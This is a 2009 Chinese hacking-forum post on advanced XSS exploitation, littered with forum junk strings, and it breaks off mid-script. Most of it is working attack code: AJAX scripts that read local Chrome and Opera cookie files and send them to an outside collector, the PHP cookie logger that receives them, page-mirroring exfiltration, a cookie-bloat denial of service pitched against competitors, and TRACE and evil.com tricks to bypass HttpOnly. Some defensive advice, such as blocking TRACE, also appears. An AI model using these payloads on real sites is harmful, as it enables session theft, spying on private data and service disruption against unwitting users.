XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
% r9 {8 s8 P7 B本帖最后由 racle 于 2009-5-30 09:19 编辑
! v" W" y' k9 D$ ^4 g. o
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
3 x. p- n+ i$ Y5 L9 @0 h* R- D
& z9 n" N9 F7 P2 Q; C

* W  U/ U" x! e' x3 L, A# |! p-------------------------------------------前言---------------------------------------------------------
1 G( E# F- k0 ]! P+ G

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
$ D& h2 a! @& v1 P' ]
" E; r2 J; ^- @, ]+ K; t- w  F
% s5 F) Q5 M. e5 @! u如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
1 c& G, h5 q$ y2 }http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
6 m% X6 K. r7 Vhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
$ v0 B6 v* _  i. H* l6 mhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
4 L1 M4 c& U0 c0 Lhttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
# G- b% y9 w& E% c3 x9 bhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
% a; y# h9 f# S8 Z$ H9 o

' I% Q- _( d0 h$ Q  n$ {9 H
7 F/ v% x3 M/ v- k  G8 f2 [
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
" q8 [# F  {: g; s* ~; t
( z! y0 ^$ T3 \希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
$ R9 q" P& p7 y* T6 G" X7 R' u
  R  x2 \+ k: o1 G如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

7 L; g4 e' W1 T7 ~6 ZBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
8 E' `) W3 D# {2 G
QQ ZONE,校内网XSS     感染过万QQ ZONE.
8 B7 v$ f  M4 `2 W) {+ O. G6 Y
- f. {0 W! d1 G2 W2 WOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

" W3 B2 Q- h: n..........
: a' f$ M. L& o" E2 I0 B: R+ ^复制代码------------------------------------------介绍-------------------------------------------------------------
& K3 D- s7 ~7 s) [  U* Z
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
/ R( y" {# ~( S
5 W; z% q2 Y( D5 v" e
, Q( m) v/ u5 S' P$ x, w
! ]& D" c, p# W跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
( I& p# N/ W! E1 k, A: l


9 W- a% X8 L2 u0 W如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?
" p3 N8 X4 S' `! y+ N
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
5 J: L' A; A4 }8 H; v
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
- t! v5 `" R& v* n
4        XSS漏洞在输出和输入两个方面怎么才能避免.

+ ~( q4 D9 [7 t. f2 l( T0 }

2 o  k. ^2 X0 a2 p7 e------------------------------------------研究正题----------------------------------------------------------


0 S! X; a6 S+ K3 i' {
0 K' I5 r5 c; o& B2 x通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
& l- E9 {, T7 F2 O/ C+ B复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
( C: {+ F0 I# v* P* g  m1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
8 M% Y% o( @6 J% I- @) s3 H2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
! R! _. T  O2 m& a2 k  {: U3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
9 s# y) v' N. E1 @4 [
4 [% Q# w7 n( j7 }' L



(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
- k* |$ M' V5 D3 A, o( h- `* r  `
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

; C+ o7 P/ x" [! D2 d- C

% n! z  c  b1 g; u    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

4 ]6 I& Q# S& B
5 B) q: F! D2 A/ T. Q( }
4 \! @1 I! q7 b    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
0 g1 H. @! }( A- t


    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
8 O/ M. C" Z* M复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}


9 l5 N1 z0 {0 g' u  u
    function ajax_obj(){

    var request = false;
% j/ T, c: x' c: o: u6 ?
    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
# b  U* f& e# i
    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
/ Q- ^. D/ C$ F( B
8 J$ B6 }: j, f/ V: h    for(var i=0; i<versions.length; i++) {

    try {

    request = new ActiveXObject(versions);

    } catch(e) {}

    }

! R) |5 e3 K& f% r    }
* t% [0 |# W9 [% P: K
    return request;

/ G( Z$ {2 W) B/ {* N- s    }
3 c2 N- K1 K% O) i6 t
    var _x = ajax_obj();
; O! }' L6 ?$ M( d4 M
- R: l. S' a$ a3 h4 p' E    function _7or3(_m,action,argv){
; v0 E$ e( D4 w! O% L
    _x.open(_m,action,false);
# g  }; S) a' d7 K: @. |; ]
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

, |' v( b; U/ U# R    _x.send(argv);
# q" I* y, w% F
    return _x.responseText;

- x4 Q, D% n2 K+ K    }
# ~* k3 t2 X1 O5 \9 ^9 J
6 w+ M( n5 f6 m
: [2 \: J1 y5 y2 H  S
( G6 s* \' |( F8 {3 ^( G/ S* E    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);

9 q: c0 h6 b8 q( H) v) m+ b" v

2 _2 k/ l$ E- Q    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
8 q0 i/ _( n. ?% w& n: ~
    function $(x){return document.getElementById(x)}



& p, ]3 g- N: x: U  A. ^/ F8 ?    function ajax_obj(){
1 [' h( A" y) K0 \
    var request = false;
& q1 i& d6 Z; U( d- X# a  x' U
( p4 y7 s. e4 l( b( T    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
" J+ `6 q- c! w/ c
( i/ v9 E( K' G  i: G+ L4 |    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
8 w. l: y! U' K  v! `2 m. g( E! W
1 m# ~. t4 f/ j8 J3 v6 G& H/ ?* a+ G
6 A% S6 f6 f4 Q
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
, ?, a7 W& x4 a5 @
( j. R7 ~3 A* R: @4 k    for(var i=0; i<versions.length; i++) {

    try {
! h1 G/ @( s, O. W6 S
    request = new ActiveXObject(versions);

    } catch(e) {}

2 N% e. K# L  S# q3 \3 H* @    }
1 L4 n- X+ J, n" T1 p) }! L% N6 Q
    }

    return request;
( Z% f5 w) H- w+ ?
# Q4 \/ ]. Q) G/ G$ E    }

+ B7 j! B& Y1 z% L$ i    var _x = ajax_obj();
% d' J/ @" a0 X% I% }# s) I" Q
1 v  W6 ^+ C# J; z9 M' G    function _7or3(_m,action,argv){

; [3 T0 Y% S1 O$ W9 Z$ J+ T% t; d    _x.open(_m,action,false);

  i3 B1 S* _4 N0 }- W    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

1 q0 L8 y% W6 j9 d, r4 X    _x.send(argv);

$ r+ h  u0 ~  O5 i0 N+ l* M; o    return _x.responseText;
; `, |( T( H; K0 J
* y6 D7 f& k2 ~/ C2 O; K# [+ v    }


5 c! _! v& E- F' P$ v+ E8 }
$ f5 e$ E! C6 J    var txt=_7or3("GET","1/11.txt",null);
) R7 V; h4 e4 G) F4 f$ E% l
0 D0 S4 U4 q$ B7 s' v: A! s    alert(txt);


$ ]* [% k& r0 ?- o9 ], v
/ r8 b3 k$ r/ i    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”



Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
' {" w' J/ C7 h
4 U5 q$ R" t$ P0 @1 i

<?   
6 A; H  J2 C# I! J$ ]& M/ `
$ ~1 ~. l* ~; D' F6 c/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
, u* L! L8 w4 j! V
     www.inbreak.net   

( p# U" P0 T6 M5 ~+ t8 w     author voidloafer@gmail.com 2009-4-22   
8 K' u9 k6 x4 _1 [7 ]
4 y: T  I! G! l! p' u     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
$ b/ ?& u! k  @
*/  

- Q; e& s% ]$ c8 D2 q! fheader("Content-Disposition: attachment;filename=kxlzx.htm");   
$ H1 o1 m7 f" Z: c' c
header("Content-type: application/kxlzx");   
+ g. \) w; ?  B
/*  
5 u. h: }  D' M
# Q0 R8 U% |1 H) m2 r% I2 `( I     set header, so just download html file,and open it at local.  

*/  

1 Y$ t9 `4 h. [" {" d% N?>   
+ Z$ B" x& u" l; `; D: f) j
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
$ G1 ~1 ]1 b. P; E
% ^7 B: }9 a3 _  T1 D1 b     <input id="input" name="cookie" value="" type="hidden">   
8 j. X& W* J/ K
" E2 V2 e9 a* V- h( D</form>   
% D& q% F, k8 c# x, ~! o* ~
<script>   

function doMyAjax(user)   
6 d0 G$ ]2 c  v9 O$ E( i: m( k
{   
6 t( L) j7 F: G
# |8 A1 W) H7 `* u, ovar time = Math.random();   

/*  

% n* f# Q6 C( p, o1 Nthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

) F2 O6 T" s* ^, J9 E% V( Uand so on...  

*/  
2 l7 a3 j) Z& R" {
$ u. Y0 h2 D( H+ ]& [6 k  A) R& X& Gvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

startRequest(strPer);   

) w7 ], L& y. Y0 I
0 D0 B% V9 [# {" q7 C4 U1 p- r6 s
4 K2 d% ^$ q; X6 Y* }$ M! X}   
  N0 }9 \7 X" [$ A) q/ F
   

function Enshellcode(txt)   

' r8 s* w" y+ v{   

4 @2 l2 d5 F- O$ r' m8 bvar url=new String(txt);   

& u* ]  E9 Q5 Y0 @6 K: D" zvar i=0,l=0,k=0,curl="";   
3 H0 a- n* C/ F; }- ^$ ~
l= url.length;   

3 z8 H% _/ y' `for(;i<l;i++){   

. F2 ]8 G; h4 [9 Z; M: Jk=url.charCodeAt(i);   
; T- `0 S/ @. a% j9 ]% F
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
, f+ P2 \+ a/ P( u( M3 N! W- X
( Y- e: t2 q/ P" ^if (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   
3 V+ T# e  e' M3 J
return curl;   
0 ?$ ^5 x- a( ^  \! |
}   

   

   
: r! ]/ [* U: k
1 t6 ?2 _) l; p. g, P5 tvar xmlHttp;   

* }+ \8 I7 x  w, R/ mfunction createXMLHttp(){   

     if(window.XMLHttpRequest){   
: s# R& T* a* h9 V: |6 C$ M1 W0 |
xmlHttp = new XMLHttpRequest();           

     }   
1 C/ p3 j9 s& q- _
     else if(window.ActiveXObject){   

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   

}   
# r( N( Q: }+ J$ p& h" b( Q$ d3 t
   

; b$ H: a' B" Q3 Hfunction startRequest(doUrl){   

' \. E3 o8 i/ f. P7 b3 z   

6 D5 |! e# v1 j5 g$ V2 e$ A     createXMLHttp();   

0 i0 Q% f8 h5 U8 ]# ?% l) b6 X

6 T; n/ A; [( V8 A) j/ M     xmlHttp.onreadystatechange = handleStateChange;   


6 B! i( A; q; Y1 l; D
: e$ O: p# P" K' l8 {     xmlHttp.open("GET", doUrl, true);   

- j9 J2 s- @* F) |

5 t0 X3 a4 L9 l# W: \     xmlHttp.send(null);   
% b4 m/ Q: l; k$ ?" E
6 r5 X/ [8 T0 A
  l, i9 z2 E& D" m9 j: d/ R


, w9 y1 p+ a4 t; |}   
# A, i0 u) L. [! l
   

function handleStateChange(){   

! S' a3 W6 S8 q6 o! J     if (xmlHttp.readyState == 4 ){   

. s! G# `% q9 k. q/ b0 D$ B$ F$ \     var strResponse = "";   

8 z' P6 M) S0 q     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        

     }   

" l: ]: e$ M- Z0 g2 h! {}   
- J# R8 i( D9 E. c9 U4 L
   
  i) X1 ?3 p4 R5 B! }9 ^
9 h3 L. j9 S3 F/ a% n   

function framekxlzxPost(text)   

{   
% v( z# L& t0 n' f2 C
     document.getElementById("input").value = Enshellcode(text);   
' Z% R4 T5 {' \+ I/ b2 D
     document.getElementById("form").submit();   

}   

' \9 G+ o( K2 g  r- V   
! c0 z$ Q" A$ A9 P1 q8 o3 A$ r
/ W- e5 E; _; i; S7 adoMyAjax("administrator");   
  c' n4 V! Z6 Y  }8 V' K
   
& L% K' _, e% _7 Y3 o1 p# {* ]6 K
</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

! t/ {9 b& a' l9 R, Z, [var xmlHttp;  

function createXMLHttp(){  
9 f& o( k; y8 a/ X/ E
     if(window.XMLHttpRequest){  

9 f* P) k, P1 r1 a* V2 h4 ~         xmlHttp = new XMLHttpRequest();         

1 @" I5 B1 ]6 `2 a' X9 O8 M     }  
1 V7 e8 l  ~  q9 B
# B: o9 B4 f4 B  o) C/ V4 [     else if(window.ActiveXObject){  

" r- W: t7 J* p# v: {) w" i' U) `  ~         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
! Y+ ^, e% y/ I, N: A
     }  
9 a! m  _. N, J3 N
}  

9 [1 b) p. [& o  ~6 y, D   
% B% ?- \' M# d% u: _# c
function startRequest(doUrl){  

           
7 a4 @. c% Q" w3 H& Z! E5 u; V
     createXMLHttp();  
0 w9 c1 S- \' H- @1 X
' j) c  q  I# L) U2 l* G% a8 j      
; V  s* @0 m8 ]: N# @- g
     xmlHttp.onreadystatechange = handleStateChange;  

7 u/ l; |+ o% p+ M      
% f* K3 V4 z4 ]; ^; v, s- d$ J
     xmlHttp.open("GET", doUrl, true);  
" `" G9 U7 d, E, O
8 y- ~% M6 w: u; R      
* O/ F7 E& M4 W8 O* z4 F
     xmlHttp.send(null);  

5 \$ T9 ?6 \1 D/ W8 X      
1 n1 g  S5 a( s- S$ m
      

8 `1 a, V6 l; v7 w) [: |}   
8 D! G9 d" i" e* `
4 a$ D- T# f8 z: ^+ C' ?* S  ^3 Y9 s% A   

function handleStateChange(){  

0 X9 Z0 T5 W7 N1 i, H& g. d6 j     if (xmlHttp.readyState == 4 ){  
8 G! c* |" g8 I' ^& z2 i
             var strResponse = "";  

7 L8 x( p2 n- i             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               
9 f) m: d) K) a4 S3 `" u
$ U! a" H. @( \1 m& x" u& {3 T     }  

0 z( }9 W! u5 \" U}  
; l( P- k2 P  |5 o
   
: v; Q& T' k/ d. q* l; f
; Y  X9 r4 o: Z, U6 b' rfunction doMyAjax(user,file)  
  a; A' L5 I, h) y4 v
{  

* z# {3 {, `' r3 S/ `         var time = Math.random();  

/ l7 S5 R9 \. A7 R& r3 {# C2 W           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
8 u1 E* N1 y9 P+ {8 [, J
+ C8 o; |' l0 E8 U% v           
/ y/ }! G1 [! q- o( r( ]' M
. d5 K7 Z* q" s5 B3 i         startRequest(strPer);  

      
# Z/ W8 Y6 r( n  M
}  
4 I# W' @* R* M7 a; e9 O" b5 t
   

function framekxlzxPost(text)  
. s  v% C7 j0 O/ D- }
{  

# o& J! u0 {7 @$ G     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

3 w+ A7 @& A; L1 w" w- [& r6 [     alert(/ok/);  
9 a" c. M7 v) X' L
}  
3 L  Q; c' l3 P5 |& E
   
2 {+ h7 H6 w1 q
doMyAjax('administrator','administrator@alibaba[1].txt');  
1 J2 v3 R2 D- i1 |
) g+ b, {# A6 @$ Y2 N2 @/ m& }3 w% Z5 R   
4 i5 v1 w# l; W% z  L# p. f- R  t
" P6 z7 N4 W" A1 j</script>
! U. ?& E( P' J2 I' J; R6 X
. R/ a$ m, [6 `! z, g1 z
9 D' R( Z* x! t8 H, x

0 U' S# }  u0 H2 V8 ~7 s
a.php

( R+ o3 U5 M+ T) m/ |. ^

. c% G2 U, }) A" Q<?php      
* J& x* f0 }& i4 {% ?1 o6 Z
   
5 Q- S; b/ ^+ d/ p9 W
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

* L% U7 N( C# b+ V: y2 i7 ^  F# f: i' D$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
1 n! [8 C9 n4 M8 Y# I
  
6 a7 J: k  J# h: a, C9 b
2 i1 {+ x4 Q6 ]+ D: ?$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

  h# N- \9 l7 \9 S( z) \9 Hfwrite($fp,$_GET["cookie"]);      

fclose($fp);   
5 o8 h% H0 c0 x3 H7 x$ D0 h
3 |% z( z3 g- ^! @  C2 k$ F+ U?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
4 X) N# Y9 A4 t# {
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
0 X3 A# i- x- g1 U- [  F利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

& a' v. l& `3 |* n( L8 J$ M# k2 c代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

- T' j& b8 W) Y( d//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
1 l% V8 P8 r+ f
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
4 x' k' J1 E+ C4 b( T/ T
function getURL(s) {

: @- l! n( i( |* L. N# Pvar image = new Image();

image.style.width = 0;
6 {* o7 V. g$ y
image.style.height = 0;
1 N! V/ `4 f. @$ b+ G6 a; _% i
8 ~2 d- e2 j+ Q* Dimage.src = s;
  n! V: O) A8 U" |( G1 r% k+ A* A
" x0 {* O9 g9 Q+ i/ y}

7 H$ [6 K: V& @( jgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
& F! `3 I+ \+ l6 c/ u$ z8 N这里引用大风的一段简单代码:<script language="javascript">
+ U- t6 o7 n: m& z* R
5 y  `# c, D6 V! T6 h, Vvar metastr = "AAAAAAAAAA"; // 10 A

$ t" H9 d8 M2 R- G3 \1 E1 Svar str = "";
( B/ f; g- a  X$ l8 T! P2 ]0 c
0 H# |$ y4 d: {8 [while (str.length < 4000){
, U7 p" l7 X3 y7 v
3 b* ]: H' g( C* E    str += metastr;
5 u5 {' ^5 G$ p4 H% M6 L
4 G% U- M5 e. }# Q8 z7 k! q}
! j# K6 w' i' a, _
" `! b* l6 Q( M9 [/ A% p6 R# e
$ M( d3 q3 |# |3 [7 U4 g
8 Y& z( n8 d3 V' ]6 Kdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
9 {* g( M2 w' k, s
</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
4 i# {$ y2 }2 F* \, u4 K% a复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
' m7 l! p& S# M( Q- k+ k' Z  Lserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
: c2 |( K, s& V, z% o& Y; K: I攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

' G/ ]1 |' V. Q, j1 ^$ u" j6 X
0 U" y4 c* m! H$ |9 V, _
1 l. u/ f3 @  l- Z( G7 O
9 U+ U. R: i* m# H9 d
2 x) A" X( O% @, T7 z4 T: R# U0 I
(III) Http only bypass 与 补救对策:

* d& X( J% ]/ E! {: @! Z+ _什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
/ X8 U- V& q. w: J2 Y0 Q0 [% R
<!--

  p# G" c+ g' v: E. ~  x5 mfunction normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";
' |3 v5 q6 Z% Y; |. [' V
* P. f- y8 E0 G) Falert(document.cookie);
, K& _2 A2 ]1 L! [. P  `6 C" l
}
+ }/ o; e9 U8 j$ K4 Z$ k! X



% S. _, c9 [. |, Q6 w
' |* s6 l, k& y7 j5 E' Ofunction httpOnlyCookie() {
0 o& A& `$ S/ X& ]6 C
0 d3 N: ?' w& x; F) b2 Z8 ~) Rdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

$ p; Y! L) a' f$ Q1 V1 dalert(document.cookie);}
' O: R( s& u+ S

4 s7 a& b, x( C& ?
; b+ @) D# x1 G, T$ }$ ^8 {//-->
0 q+ N7 P3 ?/ f$ ^) U1 ^
</script>
) N) `$ ]: v6 R4 |, f4 s$ R& X


<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
- M  G* v1 @6 ?5 w6 t$ o. l9 A, ^6 n1 l9 P
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
2 Y7 ]4 P8 ]; D- c! Y
1 x  y5 X5 C. `* G3 p

. L+ a( Y+ Z- y$ i8 avar request = false;

        if(window.XMLHttpRequest) {

            request = new XMLHttpRequest();

. L5 V) a2 [3 j+ O6 B" `8 ^            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');

            }
6 Q# i  ?& s1 E8 U( I3 {( j
        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {
  {3 Y" [  ?- e8 S" m: z
! P3 y* v5 ~6 \                try {
- U  X  V) O1 q5 ~. \% c
/ J$ y* r' t1 W7 K, D% E: l                    request = new ActiveXObject(versions);
3 }& X- F" H% u8 D0 f3 q
                } catch(e) {}

            }

        }

3 y4 b. }6 i- P  XxmlHttp=request;
" {% q7 h4 M8 S; x* @1 A- U( P
xmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);
/ j2 Y' b+ G, A/ [. G
5 v$ j  ]' r3 w  l9 d# J' XxmlDoc=xmlHttp.responseText;
8 w% M4 x* t3 q9 {! U+ I
alert(xmlDoc);
9 u0 ^5 U+ J1 P2 |
</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

$ j( c# M* V; ]: W4 }) Dvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
9 _; C% a+ q/ i* a# _( q" c
+ C" J0 U4 ?, U7 |6 u+ WXmlHttp.send(null);
% q9 p! N! s8 r: U6 l5 [
var resource=xmlHttp.responseText
+ }1 h; b! `; w) S( w8 h. f$ x
resource.search(/cookies/);
6 L5 H4 U- h5 H) F5 O3 c
......................
) C5 |1 P; {: g' v9 [: j/ k
1 @- n# O/ D( E/ L</script>

7 e6 T2 B" f( U5 ]' y
3 F, v' Z9 _9 s# w. D
5 o% ?; x+ {  ^3 p9 c/ H

如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
3 b4 P) h# `) [" }  n/ P/ m
; W' z# }$ w" }! C( B% N: b# U[code]
* F* w  y* W; \3 o2 V
, G0 Z5 g& n+ j, \0 aRewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE

, I& I4 Q5 d# d, `+ ZRewriteRule .* - [F]

' V, P9 a9 y$ x

Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
+ B; J" S- J; M5 @6 f/ A, x/ G
acl TRACE method TRACE
9 l6 @" o2 w" w( }. }! H
1 w/ P* [4 k3 g) R* \! R...
# B  n% q9 T. v5 _" e7 ]' Q
1 M% U# h' f+ V$ @/ w2 whttp_access deny TRACE
" S& u/ L' n! d复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
2 e" c9 S1 K# [( J
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

2 |7 O% j0 Q4 \( vXmlHttp.open("GET","http://www.google.com",false);

$ D- `5 n  U2 l, K- ?3 _* tXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
0 y+ `+ l* t1 H3 Z$ `" `$ d
0 g" s" n+ s6 b5 IXmlHttp.send(null);

</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

